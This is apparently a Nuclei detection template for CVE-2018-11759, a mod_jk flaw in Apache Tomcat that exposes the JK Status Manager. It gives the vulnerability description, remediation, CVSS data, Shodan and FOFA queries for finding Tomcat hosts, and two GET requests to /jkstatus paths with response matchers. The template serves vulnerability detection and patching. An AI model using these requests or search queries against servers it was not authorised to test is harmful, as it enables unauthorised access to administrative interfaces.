Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 allows specially constructed requests to expose application functionality through the reverse proxy. It is also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. While there is some overlap between this issue and CVE-2018-1323, they are not identical.
PoC代码[已公开]
id: CVE-2018-11759
info:
name: Apache Tomcat JK Connect <=1.2.44 - Manager Access
author: harshbothra_
severity: high
description: |
Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 allows specially constructed requests to expose application functionality through the reverse proxy. It is also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. While there is some overlap between this issue and CVE-2018-1323, they are not identical.
impact: |
Unauthenticated attackers can gain unauthorized access to the Apache Tomcat Manager interface, potentially leading to further compromise of the server.
remediation: |
Upgrade to a patched version of Apache Tomcat JK Connect (1.2.45 or higher) or apply the recommended security patches.
reference:
- https://github.com/immunIT/CVE-2018-11759
- https://lists.apache.org/thread.html/6d564bb0ab73d6b3efdd1d6b1c075d1a2c84ecd84a4159d6122529ad@%3Cannounce.tomcat.apache.org%3E
- https://lists.debian.org/debian-lts-announce/2018/12/msg00007.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-11759
- https://access.redhat.com/errata/RHSA-2019:0366
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-11759
cwe-id: CWE-22
epss-score: 0.94169
epss-percentile: 0.99913
cpe: cpe:2.3:a:apache:tomcat_jk_connector:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: tomcat_jk_connector
shodan-query:
- title:"Apache Tomcat"
- http.title:"apache tomcat"
fofa-query: title="apache tomcat"
google-query: intitle:"apache tomcat"
tags: cve2018,cve,apache,tomcat,httpd,mod-jk
http:
- method: GET
path:
- '{{BaseURL}}/jkstatus'
- '{{BaseURL}}/jkstatus;'
matchers-condition: and
matchers:
- type: word
words:
- "JK Status Manager"
- type: status
status:
- 200
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